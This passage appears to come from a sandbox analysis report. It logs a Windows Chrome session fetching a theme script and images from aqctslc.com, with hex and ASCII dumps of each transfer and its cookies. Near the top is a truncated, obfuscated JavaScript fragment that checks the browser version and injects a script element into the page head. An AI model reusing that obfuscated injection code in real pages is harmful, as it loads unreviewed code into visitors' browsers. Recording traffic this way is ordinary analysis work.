2025-01-09 23:51:40 UTC	16384	IN	Data Raw: 68 3d 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 72 76 3a 27 29 2c 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 68 2b 30 78 33 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 68 29 29 2c 30 78 61 29 29 3a 28 66 66 3d 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 45 64 67 65 2f 27 29 29 3e 30 78 30 26 26 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 66 2b 30 78 35 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 66 29 29 2c 30 78 61 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 66 6a 28 66 6b 2c 66 6c 2c 66 6d 29 7b 76 61 72 20 66 6e 2c 66 6f 2c 66 70 2c 66 71 2c 66 72 2c 66 73 2c 66 74 2c 66 75 3d 5b 5d 2c 66 76 3d 5b 5d 2c 66 77 3d 30 78 30 2c 66 78 3d 66 65 28 29 7c 7c 4e 61 Data Ascii: h=fi['indexOf']('rv:'),parseInt(fi['substring'](fh+0x3,fi['indexOf']('.',fh)),0xa)):(ff=fi['indexOf']('Edge/'))>0x0&&parseInt(fi['substring'](ff+0x5,fi['indexOf']('.',ff)),0xa);}function fj(fk,fl,fm){var fn,fo,fp,fq,fr,fs,ft,fu=[],fv=[],fw=0x0,fx=fe()\|\|Na
2025-01-09 23:51:40 UTC	3684	IN	Data Raw: 27 5d 28 27 63 68 61 72 73 65 74 27 2c 27 55 54 46 2d 38 27 29 2c 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 27 5d 28 27 68 65 61 64 27 29 5b 30 78 30 5d 5b 27 61 70 70 65 6e 64 43 68 69 6c 64 27 5d 28 6a 6b 29 2c 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 3f 6a 6b 5b 27 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 28 27 63 6f 6d 70 6c 65 74 65 27 3d 3d 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 7c 7c 27 6c 6f 61 64 65 64 27 3d 3d 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 29 26 26 6a 69 26 26 6a 69 28 29 3b 7d 3a 6a 6b 5b 27 6f 6e 6c 6f 61 64 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6a 69 26 26 6a 69 28 29 3b 7d 3b 7d 66 75 6e 63 74 69 6f 6e Data Ascii: ']('charset','UTF-8'),document['getElementsByTagName']('head')[0x0]['appendChild'](jk),jk['readyState']?jk['onreadystatechange']=function(){('complete'==jk['readyState']\|\|'loaded'==jk['readyState'])&&ji&&ji();}:jk['onload']=function(){ji&&ji();};}function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49841	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:40 UTC	731	OUT	GET /themes/static/js/main.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:40 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:40 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:40 UTC	5571	IN	Data Raw: 31 35 62 36 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0d 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0d 0a 0d 0a 09 2f 2f 20 4d 65 61 6e 20 4d 65 6e 75 0d 0a 09 24 28 27 2e 6d 65 61 6e 2d 6d 65 6e 75 27 29 2e 6d 65 61 6e 6d 65 6e 75 28 7b 0d 0a 09 09 6d 65 61 6e 53 63 72 65 65 6e 57 69 64 74 68 3a 20 22 39 39 31 22 0d 0a 09 7d 29 3b 0d 0a 0d 0a 09 2f 2f 20 48 65 61 64 65 72 20 53 74 69 63 6b 79 0d 0a 09 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 73 63 72 6f 6c 6c 27 2c 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 69 66 20 28 24 28 74 68 69 73 29 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 20 3e 20 31 32 30 29 7b 20 20 0d 0a 09 09 09 24 28 27 2e 6e 61 76 62 61 72 2d 61 72 65 61 27 29 2e 61 64 64 43 6c 61 73 73 28 22 69 73 2d 73 74 69 63 6b 79 22 29 3b 0d 0a Data Ascii: 15b6(function($){"use strict";// Mean Menu$('.mean-menu').meanmenu({meanScreenWidth: "991"});// Header Sticky$(window).on('scroll',function() {if ($(this).scrollTop() > 120){ $('.navbar-area').addClass("is-sticky");

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49839	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:40 UTC	971	OUT	GET /themes/static/image/feedback.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:40 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:40 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:40 UTC	16153	IN	Data Raw: 61 38 36 36 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 d0 00 00 01 79 08 03 00 00 00 81 72 ed 15 00 00 03 00 50 4c 54 45 00 00 00 fc fb fb d2 d0 d5 ff ff ff e6 e4 ec a6 bc de ff ff ff e4 df e6 ec e8 eb ff ff ff fd fc fc e1 90 a4 fc fc fc fd fc fc f6 f5 f8 ff ff ff ff ff fe a9 a7 c0 63 5c 72 fb fb fb cb bf c1 da d7 df c6 c0 c0 cb c0 c3 90 81 89 54 4d 56 a2 b9 eb 86 a7 db b0 8b 91 7c 68 6d 37 32 41 ff ff ff d8 b4 a5 b1 a7 a6 d4 8a 5f e1 98 6e b3 aa aa b0 9f 9b eb cd c0 f4 f1 f2 ba ae af b1 a3 a1 fe b6 88 d9 91 67 f0 a8 7b f6 ae 82 d2 af a1 da bd b0 f6 f7 f8 ce 8c 63 c1 b5 b5 e9 a2 77 d2 83 58 b8 b2 b7 ff bd 8e ee eb ed fe f4 f5 b1 96 91 c7 bc bb b6 9d 95 ff 9b 92 fb a8 78 e7 e5 e8 fd ec eb a9 63 49 c8 7e 65 ce 79 55 f8 a0 70 90 ba fc c2 Data Ascii: a866PNGIHDRyrPLTEc\rTMV\|hm72A_ng{cwXxcI~eyUp
2025-01-09 23:51:40 UTC	16384	IN	Data Raw: b3 dd b5 79 4d 67 89 5d f6 be 56 3b 17 b0 13 2d 33 9a c7 44 09 fd 56 43 13 85 e6 94 da 16 4d 9b ce 68 40 a3 8b 5f 43 40 2f 1c 92 f7 c1 e9 33 61 40 f3 bd 67 4a bb 28 db 82 7d ce 1d c5 c5 9b fa 5f ed af 0c 20 9b 89 2f f0 ab 91 d0 8c 68 0c 80 ba a3 06 06 db 32 af ad 2e 04 25 0e a7 b7 d7 f3 8f 37 3a 12 b2 e8 40 d3 6e 72 6c 55 e9 a7 66 09 ce c1 71 4e 16 d6 2f 50 c8 cd 48 4e 94 5b 0a a9 cd 2a b8 eb 30 fe 8c d0 3a 1e a7 dd fa 09 22 1a 60 3e b4 65 73 76 1b c7 fa 3b 20 34 a1 a0 3e 28 da f9 9c f4 19 b5 48 ef a2 45 32 a0 81 1b 54 4b 1c f7 30 9c c5 bd ef cd 9d a6 5b 2b 83 77 ca 5b 2b 2a a2 29 75 6c a1 49 1e ae 0c d3 40 90 46 f7 31 a3 e9 73 9b ce e8 66 2f 7b 1d bc 58 6c 32 84 2e 77 ee 80 82 84 3e 93 96 a6 49 0b 8f 82 3e 3c f3 5b bf b0 6d ac b2 d2 61 0f 48 7e 15 11 2d Data Ascii: yMg]V;-3DVCMh@_C@/3a@gJ(}_ /h2.%7:@nrlUfqN/PHN[0:"`>esv; 4>(HE2TK0[+w[+)ulI@F1sf/{Xl2.w>I><[maH~-
2025-01-09 23:51:40 UTC	10586	IN	Data Raw: 97 6f 22 d0 14 91 5e 2b 48 bf 60 a7 1e 9a 6a d8 34 16 93 dc ab 46 10 f7 ed db 37 00 97 06 cf f9 47 8e 34 ee 7b 9e 40 63 9b eb 75 e5 c3 d4 e5 a7 5f e2 fd 86 2d e4 b9 ae bf bb a7 7b 00 44 f7 9f ed 07 d2 25 a5 cf fe 58 5e bb 4a f0 70 0a eb 75 c2 b3 e7 3f 6e 32 10 a6 2d 23 a4 b6 41 7b 0e d2 9e b7 b9 0d da 3c 12 46 4e 38 98 71 c4 0e f4 98 de 54 25 8a ba dd f4 81 0e 5c 7d 0e 5b 51 f0 dd 58 e0 8c 5d ea ff fe 07 ea ef 08 91 dc 85 d1 2f 1f fd 17 68 d6 1b d0 5c 9d c6 df e0 d0 65 00 fd 04 bc 59 45 8d ca a1 81 33 34 0a 9e 45 a3 48 3d 80 bb 03 e9 6f 84 00 1a e1 72 6d 0e 8f d8 32 36 4d a6 09 b5 38 35 1b 6d 5a b9 f6 30 55 af 54 97 df d8 bd 51 01 8d 5d 54 77 d1 9e 0b 26 57 9f 14 c0 1f 4f 49 c9 1a 9e 1c a8 68 ea a9 25 d1 50 3f bc af 3d fd d9 4f 10 e8 c4 0e a7 70 f3 b5 92 Data Ascii: o"^+H`j4F7G4{@cu_-{D%X^Jpu?n2-#A{<FN8qT%\}[QX]/h\eYE34EH=orm26M85mZ0UTQ]Tw&WOIh%P?=Op

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49853	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:40 UTC	745	OUT	GET /themes/static/image/services-icon3.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:41 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:40 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:41 UTC	15758	IN	Data Raw: 33 64 38 31 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 58 08 06 00 00 01 74 5d 62 14 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 Data Ascii: 3d81PNGIHDRdXt]btEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49845	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:40 UTC	971	OUT	GET /themes/static/image/ji-ji-bo.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:41 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:40 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:41 UTC	16153	IN	Data Raw: 63 37 62 64 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 06 00 00 00 f4 78 d4 fa 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 78 54 d5 d6 c0 e1 df cc a4 f7 de 80 00 a1 05 12 7a 87 d0 43 6f 52 05 04 c4 02 22 8a a2 82 82 28 a8 80 8a 82 48 17 10 91 22 4d 40 a5 77 90 de 3b 24 a1 87 4e 48 42 42 80 f4 cc f7 c7 c8 77 bd 57 84 e4 9c 3d 35 fb 7d 9e 3c 70 b9 9c 75 56 70 72 66 cd 2e 6b 6b 90 24 c9 9a 38 03 7e 80 3f 10 f0 d7 ef 7d ff fa 35 e0 af 3f 77 07 5c 01 07 c0 fb af 5f 5d ff 16 e3 c9 ff f7 c4 23 20 eb af df df ff Data Ascii: c7bdPNGIHDRxsBIT\|dpHYs+tEXtSoftwarewww.inkscape.org< IDATxwxTzCoR"(H"M@w;$NHBBwW=5}<puVprf.kk$8~?}5?w\_]#
2025-01-09 23:51:41 UTC	16384	IN	Data Raw: 01 70 f7 ee 6d 26 4c 18 23 20 23 71 d4 1c 0b ac e6 d9 25 4a db 7a f5 b0 d3 a9 3a 08 ac b5 a8 5c 2c 91 2d 17 00 ce 80 e2 93 3c 1a 54 ae 84 9b 05 34 94 51 b3 43 28 cf 02 7e 00 9f b8 7c 39 46 48 c3 9f 4e 51 11 bc da ba c6 d3 ff 4f 0d 72 04 40 32 8b 81 dd 9b d1 b1 49 75 d5 71 e6 fc 38 8d d8 d8 b3 02 32 12 43 cd 16 45 4b d8 de e8 eb e9 41 dd 48 e5 0d 8d 30 14 00 36 fb 3e 69 b3 df 18 d0 00 43 11 a0 48 eb ba e6 5d fc f7 84 93 83 f2 37 b4 cc cc 74 81 99 a8 f3 ed b7 ef 93 93 93 ad 2a 46 11 3f 0f e6 7c f0 8c 4d 1d 5a 1d 2a fa 3d 49 92 2a 73 3e 7f 9d 60 7f 75 5b 86 73 72 72 f8 ec f3 8f 04 65 a4 9e 9a 33 0b 9c 1c d5 4f 8b 88 d0 3e 4a d5 69 a8 fe 40 55 41 a9 58 1c 5b 2e 00 14 9f eb ac d5 68 68 56 e3 5f 3e 65 9a 98 b3 a3 f2 45 88 19 19 96 51 00 ec da b5 8e 7d fb 36 ab Data Ascii: pm&L# #q%Jz:\,-<T4QC(~\|9FHNQOr@2Iuq82CEKAH06>iCH]7tF?\|MZ=I*s>`u[srre3O>Ji@UAX[.hhV_>eEQ}6
2025-01-09 23:51:41 UTC	16384	IN	Data Raw: e1 b3 b0 69 df 79 a6 5d fe 4f 91 cb 6d b0 79 d3 9f 66 db f0 f7 2c 0b 16 7c 4d b5 f9 cf c5 d1 11 03 3b 75 64 18 d1 ab 59 b5 7b 2f ed e7 9a 05 80 df f2 ad 09 22 26 00 80 06 94 e7 40 d7 ef 3f c0 e5 7b 6c 3b 8a 5f 86 9d 8d 0d 46 f5 ea 49 e5 e3 d4 a9 dd 88 8c 34 ff ea 57 97 2e fd b1 76 ed 31 38 3b 73 a3 b6 f6 38 bf 14 23 e6 ed c2 c8 f9 7f 20 2b 9f 42 48 49 ab a9 9a 0c 10 e1 94 8c 9c 02 bc fe d9 4a 0c 99 f6 13 32 72 b8 f9 79 bb b9 b9 63 df de 93 18 30 60 28 27 fe f9 e4 fa f5 4b 38 7c 84 ae 91 6e 5c 9f d7 60 67 c3 66 8d b7 21 24 a4 67 e0 c4 b5 eb b4 6e 7e 01 50 ed cb 72 62 02 50 c5 46 00 54 22 f1 4b 7f e7 b7 0a f0 f6 80 7e 90 51 8c c4 e9 f5 7a 2c 58 30 15 5a 2d bf 5a 06 5c d0 ba 75 77 fc fe fb 75 f8 fb 73 27 41 ba 27 3c 1a 0d 26 2c c7 dc ed e7 50 a9 22 fc 99 29 Data Ascii: iy]Omyf,\|M;udY{/"&@?{l;_FI4W.v18;s8# +BHIJ2ryc0`('K8\|n\`gf!$gn~PrbPFT"K~Qz,X0Z-Z\uwus'A'<&,P")
2025-01-09 23:51:41 UTC	2225	IN	Data Raw: f3 9d ee 75 0d 0b 16 8b 05 1f f8 c7 df ad 16 6c 36 3b 9a bd 75 87 df c8 6a 89 f0 37 b2 b8 48 4f 01 00 fe c3 cb a4 00 30 29 29 00 cc 2d e0 02 c0 66 b5 ea 3d d8 43 84 29 cd 62 c5 6a f9 ee c3 f7 87 1e c5 8e 98 70 3e 1a 5a 04 db 90 ee dd b0 5b ad 34 79 02 9e cc 3a 16 78 50 5d 46 42 25 99 03 60 5e a9 40 c0 33 f8 ce ea 94 4f 5c b4 4c 3e 13 42 04 ce 1d e5 a2 5f a7 7c 3d 21 4a d0 31 8c 29 82 4b 0a 00 f3 3a 17 1d bf 1f e9 fe 17 42 a8 a0 f3 5e 62 01 46 2b 4a 45 28 26 05 80 79 05 dc fd 6f d1 34 86 f5 e8 ae 32 97 a0 ab 3c 56 c3 b6 f2 03 54 54 55 7f 77 bc 5a 88 08 e0 f5 f9 a8 a8 aa 66 5b f9 01 2a 8f d5 18 9d 4e ab 0c ef 51 88 45 df 52 16 5d 73 99 44 f0 c8 1c 00 73 b2 02 e7 04 7a 71 8f ec 2c 52 e3 e2 14 a6 13 1c 35 0d 0d bc 31 7b 1e 9f 2c 5b c1 9e 43 87 bf fd fb c9 b1 Data Ascii: ul6;uj7HO0))-f=C)bjp>Z[4y:xP]FB%`^@3O\L>B_\|=!J1)K:B^bF+JE(&yo42<VTTUwZf[*NQER]sDszq,R51{,[C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49846	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:40 UTC	745	OUT	GET /themes/static/image/services-icon2.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:41 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:41 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:41 UTC	13857	IN	Data Raw: 33 36 31 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 58 08 06 00 00 01 74 5d 62 14 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 Data Ascii: 3614PNGIHDRdXt]btEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49848	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:40 UTC	975	OUT	GET /themes/static/image/shen-zi-shan.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:41 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:41 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:41 UTC	16153	IN	Data Raw: 61 32 31 61 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 06 00 00 00 f4 78 d4 fa 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 75 78 5c 65 f6 c0 f1 ef 1d cf c4 dd a5 91 36 75 57 ea 4a 85 52 81 52 8a 17 67 59 f8 e1 bb b0 8b 2d b6 c8 02 cb b2 8b cb c2 52 dc 0a 85 0a 50 83 42 a9 52 77 f7 36 6d d3 24 8d ce fc fe b8 05 6a 49 93 7b df 91 24 e7 f3 3c f3 74 b7 99 7b ee 4b 33 73 ef b9 af 9c 57 43 08 d1 10 c5 02 f1 40 dc 71 2f 0b 10 01 58 01 1b 10 7e ec bd 47 80 4a a0 0a 28 3c f6 e7 fe 93 5e 07 fc d8 76 21 84 1f 68 81 6e Data Ascii: a21aPNGIHDRxsBIT\|dpHYs+tEXtSoftwarewww.inkscape.org< IDATxux\e6uWJRRgY-RPBRw6m$jI{$<t{K3sWC@q/X~GJ(<^v!hn
